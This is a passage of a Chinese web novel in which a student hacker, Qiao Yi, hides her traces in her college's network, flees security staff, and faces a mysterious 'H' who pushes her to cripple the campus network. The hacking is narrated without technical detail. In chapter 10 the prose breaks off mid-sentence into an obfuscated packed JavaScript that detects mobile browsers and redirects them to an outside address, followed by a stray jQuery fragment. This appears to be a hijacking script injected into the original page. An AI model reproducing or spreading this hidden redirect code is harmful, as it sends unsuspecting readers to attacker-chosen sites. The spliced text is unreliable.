“这正是你要的‘胜利’。”拉普拉斯妖在她耳边蛊惑，“你赢了，也许失去的只是一点良知，但你可以保全自己的未来。” 可一想到可能引发的后果：更严重的院内秩序混乱，更多学生恐慌，还有顾子衿那无法想象的表情……乔伊觉得自己的心像被刀割一般。她双眸含泪，颤抖着敲下一半字符，却又猛地停住。 就在这刹那，手机屏幕忽然亮起，是一则新消息——竟仍是那个神秘ID发来的短句：“还有两天。选择你要的终局吧。” 这简简单单几个字，让乔伊激灵一下。那人为什么会知道自己在纠结？他又是抱着怎样的目的？仿佛看穿她所有心思般，他只字不提指责，却不断提醒“你的时间所剩无几”。 “到底是谁……在操纵命运？”乔伊仰望乌云翻涌的夜空，像自嘲般轻声嘟囔。天地寂寂，只剩风在耳边呼呼作响，仿佛所有答案都被夜色吞没。她想，如果再不做出真正的选择，这场漩涡或许会逼得她彻底失控。 （本章完） 次日清晨，大雨如约而至，冲刷着校园里每一块角落。学姐一早就在保卫处调取最新监控，顾子衿则顶着雨从外部专家手中拿到某份关键报告，两人的神色都显得异常紧绷。与此同时，乔伊还没出宿舍，依然拥被坐在床上发呆；她抱着那台笔记本，一动不动，似乎在等待命运最后的倒数……而拉普拉斯妖那颗狰狞的内核，也在她的灵魂深处越发活跃地搏动。下一幕，仿佛注定会迎来更猛烈的风暴。 10. 暗流幽微，光与影的十字路口 深夜的实验楼走廊始终开着冷色调的节能灯，晕黄与幽暗交错，折射在冰冷的瓷砖地面上。乔伊的脚步声小得几乎可以忽略，但在这种寂静里，还是显得格外突兀。她一路拎着笔记本，踱向楼道深处那扇不起眼的小门。因为学院即将进行全员设备大检查，她必须趁着专家团队正式部署前，再做一次关键“手脚”，将自己可能暴露的信息移形换位。 她望着小门上锁的门把，不由得轻声叹息。那里挂着一块老旧门牌，上书“备用机房——内部禁入”。大多数人只知道主服务器机房，却不晓得学院其实还在楼顶这一侧保留了几台基础机柜，用于储备应急数据，也用于系统升级期间的临时过渡。 “拦都拦不住。”乔伊暗暗对自己说，也对拉普拉斯妖说。为了生存，她必须动用这里。 她花了数星期研究地图，暗中搞到超级管理员级的权限，今晚只需刷卡、入门、接上线路，就能读取并改写一部分日志记录。哪怕外部专家再怎么细致捕捉，只要乔伊事先把关键数据“篡改”或封存，他们追查就会大打折扣。 按数字密码，滴的一声，门锁应声打开。一条狭窄的通道里堆满杂乱无序的零散器材，似乎许久没人来打扫。灯管忽明忽灭，隐约能看见机柜散发出的冷光。乔伊吞了口唾沫，蠕动僵硬的手指，轻轻合上门，生怕发出任何声响。 “原来这里这么冷……”她抬腿往前走，隐约觉得，这地方如同她此刻的处境——荒无人烟，却又危机四伏。 十分钟后，她已成功把笔记本与机柜中的核心交换端口连接起来，系统屏幕不断刷新数据流，散发出暗蓝的幽光。乔伊小心翼翼地调用脚本，逐行确认文件路径，心思却又飘到别处。这样一次又一次的潜入、干扰、掩盖，似乎把她推得离现实更远，离“走投无路”更近。 拉普拉斯妖轻声哼笑：“你看，多简单。只要你愿意，这些看似无解的难题，其实都能被你拆解。你有操纵命运的力量，何必再犹豫？” 乔伊神色顿时黯淡下来。所有路径都指向那个终点：或许只要再执行最后几步，她就能摆脱学院的追查，“干干净净”地活下去。可再冷漠的心，也对学姐、顾子衿、林忻这些人存有一丝情感。她并非真的要当恶人。 “别忘了，毁了学院网络的后果，你也很清楚。”她盯着屏幕，一遍遍提醒自己，却又一次次被内心的挣扎束缚住双手。 然而现实并不等她纠结太久。机房门外突然传来“砰”的一声响，好似有人闯进了那扇不起眼的小门。乔伊瞬间警觉，一把合上笔记本躲到机柜后方，屏住呼吸偷瞄过去。 门缝里射进一道手电筒亮光，随后能听到几个急促的脚步声，还有低沉交谈：“刚才这边的门禁系统不对劲，走，我们看看。” 乔伊出了一身冷汗：是巡逻人员还是专家组？或者更糟，学姐亲自带队？她紧绷神经，感觉下一秒就会被抓个正着。手心满是汗水，笔记本还连接着数据线，现在要硬拔下也得发出声响。她只能心如擂鼓，屏息等待灯光过去。 那些人明显在四处搜索，很快有一个清脆的女声响起：“果然有人动过这里的机柜。”乔伊心脏咯噔一下，差点失声惊叫。如果被他们顺藤摸瓜找到设备，还能狡辩什么？她脑海里天人交战，忽然起了个更极端的念头：如果情况无法收拾，就用拉普拉斯妖的“高维干预”让一切归零，让机房出现大范围故障…… 脚步越来越近，乔伊已能感觉到对方的存在就在十几米外。她咬牙攥紧了插着数据线的笔记本，身子缩得更小。可是下一刻，离她最近的那个人似乎打了个电话，而后语气重新变严肃：“学姐？嗯，这里没人藏着，但线缆确实被动过。你快来现场……” 学姐的名字一出，乔伊只觉一阵头晕目眩。她如同受惊的小兽，脑中闪过无数画面——学姐在图书馆里耐心解答她的问题，在新生汇报会上鼓励她要坚持自己梦想，而如今……她却成为学姐竭力追捕的学院黑客。 “再不走就完了。”拉普拉斯妖的声音让她猛然回神。她狠了狠心，扯下数据线，确定笔记本没留多余信息后，几乎是带着赌命的勇气从机柜后朝另一个方向突围，跳过堆放的废旧物，迅速侧身绕到杂物架那边。那几个人被堆积凌乱的器材阻挡，一下子没能反应过来，等看见乔伊的身影，只来得及大喊一声：“站住！” 乔伊哪里肯停？她一路狂奔，两三下撞开些杂物，硬是挤到门口，把门一推就跑进楼道。背后有人追赶，可她顾不得形象，拼命在旋转楼梯上狂跑数层。一口气冲到另一端走廊，越过一道侧门时，她摸出学生证哆嗦着刷卡，只要能先跑到人流更多的地方，就能混入杂乱人群，不至于被逮个正着。 胸口剧烈起伏，一连串奔跑下来，她心跳如鼓，又恰逢那天夜里灯光昏暗，她一脚踏空险些摔倒，勉强扶住墙壁才没跌倒在地。当她抬头，却突然对上学姐的目光——学姐就站在前方不远处，眼神里写满了震惊、痛惜与愤怒。 两人隔着十来米对峙，走廊安静得只听得到乔伊的心跳声。学姐似乎一瞬间明白了一切，那个她一直在怀疑却又不想相信的真相。 “乔伊，果然是你？”她声音里满是痛心和失望，“为什么？你为什么要做这种事？”那一刻，她仿佛强忍泪水。 乔伊咬着唇，怔怔望着学姐，没有说话。她大脑里一片轰鸣，只想快点逃离。脚下却像灌了铅，不知该往哪儿走。此时小楼内其他巡逻人员也闻讯赶来，形势彻底对她不利。 学姐缓缓往前走一步，目光凝视乔伊：“告诉我原因，或者至少给我一个解释……你为什么一直隐瞒？”她知道自己再怎么愤怒，也不能眼睁睁看着乔伊就此堕落。 乔伊却猛地退后半步，死死咬紧牙关：“我……我没有别的路了。”她脑海再次传来拉普拉斯妖的声音：“别废话，走，快走！” 于是，她猛地转身，从另一道安全门冲了出去。学姐想追，可周遭巡逻员都涌来，她只能先让他们分头堵截。混乱中，乔伊抢先一步消失在楼梯口，像一只受了惊吓的鸟，狼狈地飞离现场。 那一夜，学院彻底闹翻了天。保卫处、巡逻组、学姐以及顾子衿全都紧急行动。乔伊四处逃窜，凭着对学院地形的熟悉，加之深夜校园里依然有部分路段灯光昏暗，才在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013883|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大范围围捕中侥幸未被逮到。直到她一路狂奔回宿舍区，终于瘫倒在走廊拐角，呼吸不透。 远处传来顾子衿焦急的呼喊：“乔伊？！你在哪儿？”声音回荡在夜晚的空旷里，带着难言的惊惧和担忧。可乔伊却再也无法应答。她跌坐在地，脑袋空茫，笔记本还死死抱在怀中，冷汗浸湿了后背。 “这样下去……迟早完蛋。”她的意识混沌中，唯一清晰的就是这一结论。 拉普拉斯妖低声嗤笑：“也不见得。如果你愿意牺牲更多，就能继续逍遥。”这冷酷的声音如同剧毒，让乔伊心底一阵绞痛。 最终，她强撑着回到宿舍，房间里灯亮着，林忻坐在床边正焦虑地给人打电话。看她突然推门进来，林忻吓了一跳：“乔伊！你怎么……怎么搞成这样？外面都说……” 乔伊却什么都没解释，只抬起头：“你赶紧走，别跟我牵扯关系。”她声音沙哑，面容煞白，“去找顾子衿也行，找学姐也行，总之别继续跟我住了……”林忻张口结舌：“我不走，你……你先冷静，我给你倒水……” 乔伊浑身僵直，仿佛对任何安慰都无法感知。她缓慢地把笔记本放在桌上，坐到椅子上，靠近床沿的台灯下，一字一顿地说：“我没有别的退路了……” 说完这句话，她再也撑不住，眼前一片漆黑，晕了过去。 等她再次睁开眼，是第二天清晨。林忻在一旁不眠不休地守着。宿舍外面人声嘈杂，似乎有很多学生正在走动，还能听到有人议论昨夜的“惊魂追捕事件”。乔伊攒足力气撑起身，就看见桌上放着一张字条，是林忻写的：“他们可能很快就会来搜查，你要不要先……藏起来？” 乔伊抬眼望向窗外，隐约瞧见几名工作人员挨个宿舍询问。她苦笑了一下，没想到自己一夕之间成了“通缉目标”。如果被当场抓住，她该如何面对学姐和顾子衿？ 屋外脚步声逐渐逼近，拉普拉斯妖在心中冷哼：“不如破罐子破摔，让学院付出代价。”乔伊握住笔记本的手开始发烫，脑海里还残留着那个“极端脚本”的最后几行代码：执行它，就能直接攻击学院最核心的系统文件，让校园网络彻底陷入崩溃。 时间一分一秒过去，乔伊的心弦绷得死紧。就在门外敲门声响起时，她眼眸一闪，似乎做出了某个重大决定。她捏紧笔记本，身体微微颤抖，内心却在发出最后的叩问：“我……真的别无他路吗？” “你迟早要面对这个选择。”拉普拉斯妖阴测测地回道，“要么让一切更混乱，要么你就交出自己。” 门外又一次传来敲门：“同学，开门配合检查——”乔伊闭上眼，深吸一口气。下一秒她缓缓挪向了房门，手心里攥着那枚到现在都没被彻底执行的U盘。她不知道自己是打算交给对方，还是彻底抹蒙过去，更不知道这是否会是她和学院的最终决裂…… （本章完） 黑暗中，她仿佛又听到学姐的声音，回荡在脑海深处：“乔伊……别再让自己陷得更深。”但这一切尚未决断，命运的齿轮还在加速转动。下一步，她究竟是会彻底破坏学院网络，还是走出那条无法回头的终极之路？ 11. 孤夜暗流，与高墙之上的微光 雨后的校园透凉又潮湿，夜风拂过树梢，带着似有若无的寒意。此时已经临近考试周，原本该人声鼎沸的自习室却一片阴郁，每个人都绷紧神经，仿佛意识到一场更可怕的风暴就要到来。乔伊坐在窗口角落里，看似在翻阅课本，实际上目光却一直飘向窗外，心内像有把利刃，挠得她难以平静。 她盯着手机屏幕，那上面依旧是神秘ID的未读消息。只言片语却意味深长：“，凌晨见，别再犹豫。”这样毫不掩饰的言辞让她隐隐觉得，对方离自己之所以如此之近，是因为彼此之间存在某种说不清道不明的共识，甚至可能……他就在这校园之中。 喧闹声从窗外传来，乔伊轻轻往外瞥了一眼，正巧瞧见顾子衿和两名安全组的新同事走过花坛，他们低声交谈，神情肃然。乔伊心里一紧，她知道自己所有的行动都在对方的排查范围里，一旦真的落入他们手中，该如何面对？那个时候，关于拉普拉斯妖的一切，自己又能否守护得住？ 下课铃响，乔伊收拾书本，想趁人群散去之际悄悄离开。可正当她走到走廊尽头，身后忽然后颈发寒——有人轻声喊了她的名字。回头一看，是学姐，带着疲惫的神色站在昏黄灯光下。两人的视线在半空中短暂相握，学姐张了张口，最终只是问：“你……最近过得好吗？” 短短一句问候，却像利剑穿透乔伊的胸口。她当然不好，可她不能说。她微微低头，声音也变得疏离：“我很好，学姐倒是看起来很累……工作别太拼。”一句话既关怀又防备，学姐眼底闪过复杂的情绪：“乔伊，有些事一旦走到极端就无法回头。如果你需要帮助……我、还有顾子衿，我们都可以试着帮你。”乔伊苦笑：“谢谢，我没事。”她让自己站得笔直，又退后半步，与学姐之间似乎多了一堵无形的墙。学姐叹息，却没再勉强，只轻轻递给她一张纸条：“这是我电话号码，你如果想通了，随时找我。” 乔伊两指捏着那张纸条，如同握住一块灼热的铁。一阵沉默后，她转身快步离去。身后，学姐看着她脚步慌乱的背影，眼底的情绪悲凉而纠结。 当夜十一点左右，乔伊回到宿舍，林忻还没睡，见她推门便满脸紧张地迎上前：“乔伊，你……现在到处都在传，说学院要彻底锁定你，很快就会……”她欲言又止，显然担心刺痛乔伊的神经。乔伊默然，把书包往床上一扔，反而安慰她：“放心。我知道自己在做什么。” 林忻隐约还想说更多，但对上乔伊那疲惫又决绝的眼神，只好默默退到一边，不再多问。乔伊深呼吸，掏出手机，翻看神秘ID的那条讯息：“，凌晨见。”她脑海里浮现出拉普拉斯妖低沉的嗤笑，好像在说：“快答应吧，这就是你的生机。” 她到底没有告诉林忻任何事。夜深人静，乔伊揣好手机，披了薄外套，就独自下楼，顺着无人注意的小径往学院后面的废弃旧礼堂走。路灯昏暗，稀稀拉拉照亮石板地面，雨后积水反射出扭曲的灯影，显得有点阴森。 这旧礼堂据说好些年不再对学生开放，门口竖着“禁止入内”的铁牌，四周荒草丛生，一推门就能闻到霉味。乔伊踩着小心翼翼的脚步，穿过破损的地板。神秘ID会在这里见她吗？还是说，这一切只是一个陷阱？ 她正暗自警惕，倏地听见角落里有轻微声响：“别怕，我就在这儿……”一道身影慢慢走出暗处，黑色衣帽将他的面孔掩得严严实实。隔着昏暗 moonlight（残月微光），乔伊只能看见对方抬起下巴时冷淡而锐利的眼神。 “你是……神秘ID本人？”乔伊压低声音，却隐隐带着愤怒和激动。对方扯了下嘴角，似笑非笑：“你可以叫我H，或别的代号无所谓。你知道我一直在帮你，也知道我对你有所期待——咱们直接开门见山吧。” 乔伊不自觉地绷紧了身体：“为何……帮我？你目的是什么？”一直以来，她都想找到这个人，却苦于无处可查。如今对方面对面站在她眼前，却只让她更警惕不安。 H不慌不忙，从口袋里掏出一只小巧的储存设备摇了摇：“你要抹去的资料，我可以替你完成。这样你就能彻底掩饰你的痕迹。前提是，你得做一件事——毁掉学院网络核心。彻底让防火墙升级计划崩盘，拿走他们独家保密项目的技术文档。这个项目，可是学院的命根子。” 乔伊脸色刷地一变。毁掉学院网络核心，这可是她一直最害怕、又在精神崩溃边缘时才会考虑的极端手段。她还记得学姐说过，这个项目事关无数人劳动成果，一旦被摧毁，学院数年的科研累积将付之东流。那一刻，她险些脱口而出“不”，却听见脑海中拉普拉斯妖轻嘲：“这不正是你一直担心的结局吗？谁让你一步步走到这儿的？” 她深吸一口冷空气：“为什么？你又想从中得到什么？”H凝视她，语气陌生而冰冷：“你不用知道动机，关键是，这份交易对你有利。你不愿意，就等着被学姐和顾子衿他们收网，等着外部专家把你揪出来公之于众。到那时你的技术才能全毁，连一点退路都不会有。”他停顿片刻，用一种带着威慑的口吻补充，“你也可以试着踩着两边，告诉我，不怕最后连一点翻身机会都丧失吗？” 礼堂里的空气仿佛凝固，乔伊右手不由自主地抓住外套袖口，呼吸愈见凝重。她明白H的话并非无的放矢——学院已经把搜查推进到白热化，又在严防死守，留给她逃脱的时间近乎为零。是否答应毁掉学院网络，似乎成了她最后的生路，可这条路也意味着彻底堕落，会让她成为众矢之的，甚至无可原谅。 沉默从两人之间蔓延开来。黑暗里，拉普拉斯妖低沉地笑着，那带着蛊惑的声线如同嘶响：“选择吧，乔伊。你得放弃所谓的善良，才能寻得生存。”她只觉得胸口发闷，再想起学姐那张透着痛惜的脸、不眠不休的林忻、还有顾子衿在操场上关切她却又无从劝阻的样子……一切都混杂在一起，令她几乎想尖叫。 H似乎看穿她的挣扎，淡淡道：“我知道你拖着不忍心。可你也清楚，没人真能挽救你。只有我——或者说，你与拉普拉斯妖的结合——才能保住自己。明天午夜，就是最后期限，答应或者拒绝，我等你回复。” 说着，他把那只储存设备往乔伊怀里一抛，转身就往出口走。乔伊慌忙伸手接住，想喊住对方，却喊不出声。她只能看着那黑影走向破旧门口，弥散在雨夜的微光中，仿佛从未存在。 四周又归于冷寂，只有破损屋顶滴下的水珠时不时敲响地面。乔伊茫然立在那里，整个人像一尊僵硬的石像。这样的条件……对她来说或许意味着一线生机，也意味着罪上加罪。可现实还容得她拒绝吗？ 回到宿舍时，林忻已经睡了，乔伊轻轻将外套挂好，坐到桌边，满脑子都是H那威严冷漠的声音。她不知自己在干什么，竟鬼使神差地打开笔记本，调出那份“极端脚本”，那一连串命令行就静静地停留在屏幕上，只差一个回车——就能摧毁现行的学院防火墙计划，严重瘫痪学校网络。再配合H提供的渠道，甚至能入侵学院内部服务器盗取机密文件。 想起学姐、顾子衿、老师们，也许明天就能查到她头上。她背脊发凉，额头冒着冷汗。要是自己做了那一步，真能独善其身？可若什么都不做，又要被H威胁、被学院追捕……她眼神愈发黯淡。拉普拉斯妖却像个冷眼旁观者，时不时给她添一把火：“你已经身陷绝境了，还奢谈什么退路？” 夜深到近凌晨，乔伊翻来覆去难以入眠。迷迷糊糊中，她似乎又做了一个怪梦：自己站在学院天台上，脚下是万千数据流的洪流，而学姐和顾子衿在天台另一端呼喊她的名字；她想走过去，但一层层黑色漩涡缠绕住她的双脚，令她无法动弹。漩涡顶端，有一张符号化的笑脸，像拉普拉斯妖般冷冷嘲弄。最后，她只能任由漩涡拉扯着身体，沉入无底深渊。 第二天清晨，乔伊醒来时身心俱疲，林忻早就离开，桌上留着一杯温牛奶，还有一张便利贴：“你认真想想，还有人愿意帮你。我会等你。”这一行字让乔伊心里涌起酸楚，这种善意反而让她更加痛苦。她知道林忻还有学姐都在等她“回头”，但他们可能永远 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晚上，她躲在寝室里，打开电脑，打开一系列加密程序，确认H提供的储存设备确能帮助她抹去一些“关键日志”。这一刻她不得不承认，对方至少在技术层面是货真价实的行家。只要她按H给的步骤走，学院的绝大多数排查将被阻断。可这个“赎身之法”的代价，是让学院真正陷入瘫痪。她看着那几行命令，眼中映出电脑冰冷的蓝光，权衡再三，一颗心如坠冰窟。 午夜将至，雨声萧瑟。乔伊的手机突然亮起消息——是H：“十分钟后，给我答案。”寥寥八字，却带来巨大的震慑力。她哆嗦着退出对话框，这时又收到学姐那边发来的短信：“乔伊，你若看到请回复……我想和你谈谈。”还有顾子衿的不在场留言：“联系我吧，我能帮你解释，一定能！” 她怔怔看着屏幕，两股力量像撕扯她的灵魂。一边是毁灭，一边是救赎；一边是极端的出路，一边是内心尚存的微光。可她走到今天，也许早就是万劫不复了。 窗外雨声渐大，仿佛敲碎了她最后一丝平静。她猛地起身，从抽屉里拿出那只U盘和H给的储存设备，关闭所有灯光，只留下电脑屏幕。那虚拟的光源令她面庞显得格外苍白。她几乎咬破嘴唇，颤抖着把U盘插入电脑，一行行黑底白字的代码跳跃在屏幕上，仿佛一条冰冷的蛇。 她没有退路——或者，至少她一直这么告诉自己。她摁下了回车。命令开始执行，电脑风扇转速陡然加快，示意她触碰到系统底层的关键区域。再过不久，整个学院网络将遭遇极大冲击。她盯着屏幕，一瞬间几乎听不到周围任何声音。 可就在那条进度条抵达约莫三分之一处时，手边的手机再次亮起。她下意识一瞥，竟见到学姐发来一句语音消息，看时间就几秒前：“乔伊……别走得太远……我们都在等你。”这句话听上去特别短，却仿佛一记闷雷，在她胸口炸开。她眼神剧烈地颤抖，一切仿佛缠绕成乱麻。 拉普拉斯妖在她脑海里尖锐地嘶吼：“别停，你已经走到这里了！”可乔伊的手却象被人用力扼住那样，陡然按下了终止执行的按键。她做了她从来没想过自己会做的事——她硬生生掐断了破坏程序的运行。顷刻间，命令行报错，电脑程序弹出一连串红色警告。 她张大嘴，几乎喘不上气，手指死死扣住桌面，一时间大脑空白。就在这时，一条新消息跳到她眼前：“H：你怎么没继续？你放弃自己仅存的机会？”乔伊没有回复，只颤抖地盯着屏幕，然后哑声自语：“也许……我还想做最后一次抵抗。” 她的泪水滑落下来，与急促的呼吸混杂成一片。此时此刻，她尚未完成对学院的毁灭，也尚未摆脱追捕。所有的命运节点，全都压在这一瞬间，还不知下一刻会怎样崩塌。拉普拉斯妖在她心中怒吼：“懦弱！你会付出代价！”但她只闭上眼，将电脑合上，让屋里重新陷入黑暗。 （本章完） 窗外电闪雷鸣，似乎一场更激烈的风暴正酝酿着。她不知道自己短暂的“终止”，会不会换来更大的冲击，甚至不知道学院网络下一秒会不会继续崩溃。可至少有一点——乔伊在心底埋下了一个念头：也许，真的还有回头的可能。她并不想彻底成为拉普拉斯妖的傀儡。可她忤逆了H的命令，也失去了最后藏身之所。一旦天空破晓，新一轮追捕将更加猛烈…… 12. 夜幕之下，与真相的第二次角力 漆黑的夜沿着窗台慢慢渗进宿舍，雨点拍打玻璃的声音在狭小空间里愈发明显。乔伊坐在桌前，电脑屏幕早已熄灭，但她依旧感到那行未完成的脚本残像在眼前闪烁。指尖还残留着停止脚本时的冰凉触感，仿佛只要轻轻一点，自己就会坠入万劫不复的深渊。 她几乎没有合眼，拉普拉斯妖时不时出现在她脑海里，或冷嘲、或恫吓，一口一个“懦弱”“没骨气”，用嘶哑的声线唤起她内心水面下的浮躁。乔伊疲惫地将额头抵在手背上，深呼吸几次，才勉强保持冷静。她不知道接下来自己要面对怎样的暴风骤雨，也不知道那位自称“H”的神秘人会不会就此秋后算账，撕破脸彻底抹去她的退路。 偏偏林忻又格外敏感，隔着床幔不住翻身，似乎察觉乔伊夜里动静反常，却没有出声追问。直到闹钟指向凌晨五点，乔伊才闭上沉重的眼皮，短暂打了个盹。可不到一个小时后，她就被急促的敲门声惊醒。 “同学，请开门，我们是校保卫处。”门外依旧那熟悉的声音。乔伊猛地坐直身子，心脏狂跳。她赶忙把电脑和U盘藏到抽屉最深处，手忙脚乱地把一摞书籍挡在上面。林忻也被吓得立刻起身，还没来得及换衣服就冲到门口：“怎么了？发生什么事……？” 两个保卫处工作人员站在门口，一人翻了翻本子，说：“例行检查。再确认一些事情。”说话的人目光怀疑地扫过乔伊，又直视林忻：“昨晚你们这里的熄灯记录好像不太符合规定时间，所以想来问问情况。乔伊，你是否能配合我们做一下简单的调查？” 乔伊心中“咯噔”一声，她努力挤出一个勉强的微笑：“好的，有什么要问的？”林忻在一旁示意乔伊别慌，自己也尽量保持镇定。可那两位保卫员并非省油的灯，一连串问题几乎是从乔伊何时关灯、何时入睡、是否有外出、在宿舍使用了什么设备等各个角度盘问。乔伊唯恐露馅，只得小心地回答。她不知道那些“略显牵强”的回答能否说服对方，更不知他们是不是已经握有某些“确凿证据”——那样的话，自己每一字句都可能成为破绽。 检查持续了十来分钟，最终那人合上本子，脸色不甚好看：“好的，我们先登记一下。如果还有需要，会再来找你。”随即两人离开宿舍，走廊上留下杂乱的脚步声与彼此低语声。乔伊站在原地良久，一股凉意窜上脊梁。 林忻抿着嘴唇，喃喃道：“他们态度好像更严厉了，你……真的没事吗？”乔伊垂下眼睫，也不知该怎样回答。“没事”两个字在唇边转了一圈还是咽回去。她不晓得再这样下去，自己能隐瞒多久。林忻闭了闭眼，压低声音：“你有什么事，不要一个人扛……至少告诉我一点。”乔伊勉强笑笑：“放心，我会处理好。” 林忻神情复杂，终究没有多说。她似乎明白，乔伊正被一种强大的阴影纠缠，可自己却无法如此轻易插手。两人一阵沉默后，各自匆匆收拾出门——因为今天是普通工作日，照理还要去上课，各种考试周准备也依旧摆在眼前。 乔伊到了教室，发现气氛莫名紧张。窗外风雨晦暗，连带着让整个教室都有股压抑感。她坐在最后一排，打算趁着课间空档把笔记重新整理，却突然瞄到前方有几个同学在交头接耳：“……那黑客的事，听说已经有线索啦。”“可不是，据说保卫处大动干戈要彻底清查呢。”乔伊心底“咯噔”一下。她压低身子，假装上课没听见，内心却如同海浪翻卷，暗暗猜测对方是不是已经定位到自己。 中途她去洗手间的途中，迎面撞上顾子衿。对方似乎正在攥着手机打电话，看见乔伊迟疑了一秒，眼里划过一丝复杂。“乔伊，你……过来一下，有些事想问你。”他尽量让声音听起来平静。乔伊心如擂鼓，却依旧故作镇定：“有什么事？” 顾子衿把鼻梁上的镜框微微扶正，显得有些不自在：“你最近有没有接触过……什么奇怪的人？或者说，被什么人威胁？”乔伊一愣：“你为什么问这个？”她瞬间想起神秘ID“H”，想起那夜礼堂的黑色身影。难道顾子衿已经查到什么？顾子衿神色凝重：“学院最近网络安全问题频发，其中一些线索似乎指向有人想利用你——或者说，想引你在系统里动手脚。我担心你被骗。” 乔伊脑中闪过无数念头，但一个都来不及说。她只摇头：“没有，我不知道你在说什么。”顾子衿紧紧盯着她：“你真的什么都不知道吗？”乔伊抵触地撇开视线：“我不懂黑客这套，可能你搞错了。”她这话说完，发现顾子衿神色里更多了几分伤感。似乎他很想帮忙，却求助无门。 最后，他只叹了口气：“好，如果你不愿说，我也不勉强。只是告诉你，学姐很担心你，大家都在找你。若你遇到什么无法解决的麻烦，我还能帮上一点忙。”乔伊强忍住心底的酸楚，默默点头算作回应，然后匆匆离开。背后，顾子衿一直看着她的背影，似乎有千言万语，却终究没有出口。 这一天过得漫长而煎熬。乔伊几乎每个课间都能听见或远或近的流言，整个人像悬在刀刃上。她隐约感觉到，那个神秘ID“H”可能也没闲着。果然，傍晚时分，她在教学楼楼梯间逮到一点空挡，打开手机就看见一条新信息：“你以为终止脚本就可以全身而退？你很快会知道什么叫‘釜底抽薪’。”后面附了一个链接，还标明“今晚十一点上线”。 乔伊盯着那链接，指尖冒冷汗。她不知道“H”下一步想干什么，但直觉告诉她，对方要对学院网络发起真正的攻击，而她自己极可能成为替罪羊。如果她继续沉默，这恶性循环迟早把她逼进死胡同。更要命的是，拉普拉斯妖也在她脑中暗暗加油添醋，讥讽她“优柔寡断”“伤敌不成反毁己”。她想堵上耳朵不去听，却无法真正摆脱那股怪力。 放学后，她在阴雨中站在宿舍区门口，一时间没勇气回屋。身后却传来低低叫唤：“乔伊……”转头一看，是学姐撑着伞朝她走来。学姐穿着浅色外套，加上淅沥雨丝，让她看起来格外清瘦憔悴。乔伊心头莫名一酸，以往她最崇拜的就是学姐的坚毅与果敢，如今却发现学姐因为她而频频失眠、劳心焦虑。 “你别躲了。”学姐声音温柔却带着疲倦，“我知道你心里害怕，也知道你遇到的状况比我们表面看到的更复杂。可至少让我帮你，好吗？或者……告诉我真相？”乔伊低头看着自己浸湿的鞋面，没吭声。她怕只要稍微点头，就会倾吐出心里所有苦痛，可她又害怕一旦坦白，会将学姐也卷进那漩涡里。 学姐见她神色苍白，伸手想替她撑伞：“咱们别站这儿，被淋坏了。去保安亭或者图书馆坐坐？”乔伊下意识后退一步：“对不起，我还有别的事，下次吧。”学姐眼里闪过失落，却还是轻轻颔首：“好……我在图书馆等你，哪怕你只给我五分钟，我们也能一起想办法。” 乔伊轻轻“嗯”了一声，转身在灰蒙蒙的雨幕中离去。她能感觉到学姐的眷恋目光追随她背影，却不敢回头。若再多看一眼，她也许就会当场崩溃。回结束室后，林忻见她泥泞狼狈地推门进来，赶紧递上毛巾：“天呐，你怎么不打伞就回来了？”乔伊疲倦点头，擦去脑门的雨渍：“没事，我洗把脸就好。” 随后她把自己关进卫生间，呆立在镜子前看着自己那双血丝密布的眼睛。时间一点点流逝，夜色再次降临，H定下的“十一点上线”也步步逼近。她倚着冰冷的瓷砖墙面，冥思苦想自己究竟有没有一种两全之策？一个人能否同时背离拉普拉斯妖的操控，又不至于被H与学院双面夹击？ 十点过半，乔伊看见林忻已经睡下，宿舍只剩一盏夜灯散出微弱光晕。她知道自己必须做点什么，否则就坐等灭顶之灾。她压抑着心神，打开电脑，输入一串加密指令，准备尝试去追踪“H”的IP地址。可还没敲完几行，电脑屏幕就弹出陌生窗口，一行血红字体逐字跳动：“别妄图追查我，你还没这个本事。”乔伊脸色苍白，浑身打了个冷颤。难道H已经在后台完全监控她？ 同时，拉普拉斯妖的声音也窜进她脑海：“看吧，你尚不够强大，何苦自探险途？听从我们，才能真正摆脱现状。”乔伊咬紧牙关，不想承认自己被吓到，可手却抖得无法继续输入命令。她深吸口气，索性中止操作，把笔记本合上。 十点五十五分，乔伊手机又亮起：“H：准备好迎接学院网络的‘强制洗礼’吧。你要是不想被当替罪羊，就乖乖配合我的步骤。”一个链接紧随其后，似乎是某个远程控制端口地址。乔伊心惊胆战地盯着那串字符，良久才伸手想点击。可是就在她指尖即将触碰屏幕的刹那，脑海深处骤然闪过学姐的身影，还有顾子衿的那句“如果你需要帮助……” 她颤抖地收回手，飞快地切断数据网络。手机屏幕一黑，彻底没了信号。乔伊想：如果自己这一次断绝跟“H”的联系，那场黑客攻击还是会发生吗？那对学院网络造成的破坏，会不会反而被栽赃到自己身上？可她一时没更好办法，有些事情光是逃避就足够了吗？ 十一点整，窗外忽然电闪雷鸣，豆大的雨点砸下，风声凄厉。乔伊心脏犹如被紧紧攥住。她深知“好戏”大概已经开始。就在此刻，寝室的顶灯突兀地闪了一下，紧接着整个宿舍区的网络竟瞬间瘫痪，连学校内网都无法访问。乔伊心里咯噔一下：H果然动手了。 楼道里很快响起此起彼伏的惊呼：“怎么断网了？”“我的作业还没提交啊！”乔伊也听见林忻从床上坐起来，迷迷糊糊地问：“什么情况？”可乔伊此时已经来不及回答。她预感自己一旦被保卫处发现这个时间仍然“在线”或手持电脑，必定会被怀疑乃至指认为那名黑客。她只得迅速将电脑装进背包，轻手轻脚推门下楼。 夜雨中，宿舍楼门口仍有保卫人员来回巡逻。乔伊不敢硬闯，索性从另一端安全通道跑出校道。冷风夹着雨丝打在衣领上，她瑟缩着、一路小跑着朝旧礼堂方向狂奔。那里相对偏僻，不容易被摄像头拍到，有可能让她暂避风头，同时也能搞清H究竟想达到何等破坏程度。有那么一瞬，她甚至想拿出手机拨通学姐的号码，可又担心那会把学姐拉下水，只好把这念头强行压下。 